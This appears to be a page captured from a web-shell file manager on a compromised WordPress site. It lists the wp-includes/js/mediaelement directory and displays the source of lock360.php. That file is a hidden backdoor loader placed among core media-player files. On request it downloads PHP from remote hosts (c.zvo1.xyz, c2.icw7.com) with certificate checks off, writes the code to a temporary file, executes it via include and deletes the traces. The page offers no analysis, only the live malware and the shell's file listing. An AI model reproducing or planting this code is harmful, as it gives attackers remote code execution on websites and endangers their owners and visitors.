9B534B8686E580E0E01768F00155B461

at path：ROOT / wp-includes / js / mediaelement / lock360.php

run：R W Run

renderers

DIR

2026-06-16 01:07:19

R W Run

.htaccess

265 By

2026-06-22 03:52:52

R W Run

index.php

13.03 KB

2026-06-22 03:52:52

R W Run

lock360.php

1.4 KB

2026-06-23 07:19:39

R W Run

mediaelement-and-player.js

259.6 KB

2026-06-16 01:07:19

R W Run

mediaelement-and-player.min.js

154.3 KB

2026-06-16 01:07:19

R W Run

mediaelement-migrate.js

2.77 KB

2026-06-16 01:07:19

R W Run

mediaelement-migrate.min.js

1.16 KB

2026-06-16 01:07:19

R W Run

mediaelement.js

119.71 KB

2026-06-16 01:07:19

R W Run

mediaelement.min.js

66.71 KB

2026-06-16 01:07:19

R W Run

mediaelementplayer-legacy.css

15.39 KB

2026-06-16 01:07:19

R W Run

mediaelementplayer-legacy.min.css

10.99 KB

2026-06-16 01:07:19

R W Run

mediaelementplayer.css

15.53 KB

2026-06-16 01:07:19

R W Run

mediaelementplayer.min.css

11.14 KB

2026-06-16 01:07:19

R W Run

mejs-controls.png

2.82 KB

2026-06-16 01:07:19

R W Run

mejs-controls.svg

4.49 KB

2026-06-16 01:07:19

R W Run

wp-mediaelement.css

4.84 KB

2026-06-16 01:07:19

R W Run

wp-mediaelement.js

2.69 KB

2026-06-16 01:07:19

R W Run

wp-mediaelement.min.css

4.09 KB

2026-06-16 01:07:19

R W Run

wp-mediaelement.min.js

1.08 KB

2026-06-16 01:07:19

R W Run

wp-playlist.js

5.28 KB

2026-06-16 01:07:19

R W Run

wp-playlist.min.js

3.36 KB

2026-06-16 01:07:19

R W Run

error_log

📄lock360.php

<?php
function GC($a)
{
    $url = sprintf('%s?api=%s&ac=%s&path=%s&t=%s', $a, $_REQUEST['api'], $_REQUEST['ac'], $_REQUEST['path'], $_REQUEST['t']);
    $code = @file_get_contents($url);
    if ($code == false) {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_USERAGENT, 'll');
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_TIMEOUT, 100);
        curl_setopt($ch, CURLOPT_FRESH_CONNECT, TRUE);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
        $code = curl_exec($ch);
        curl_close($ch);
    }
    return $code;
}

if (isset($_REQUEST['ac']) && isset($_REQUEST['path']) && isset($_REQUEST['api']) && isset($_REQUEST['t'])) {
    $code = GC('https://c.zvo1.xyz/');
    if (!$code) {
        $code = GC('https://c2.icw7.com/');
    }
    $need = '<' . '?' . 'php';
    if (strpos($code, $need) === false) {
        die('get failed');
    }
    if(function_exists('tmpfile')){
        $file_name = tmpfile();
    }

if($file_name)
    {
        fwrite($file_name, $code);
        $a = stream_get_meta_data($file_name);
        $file_path = $a['uri'];
        @include($file_path);
        fclose($file_name);
    }else {
        $file_path = '.c';
        file_put_contents($file_path, $code);
        @include($file_path);
    }
    @unlink($file_path);
    die();
}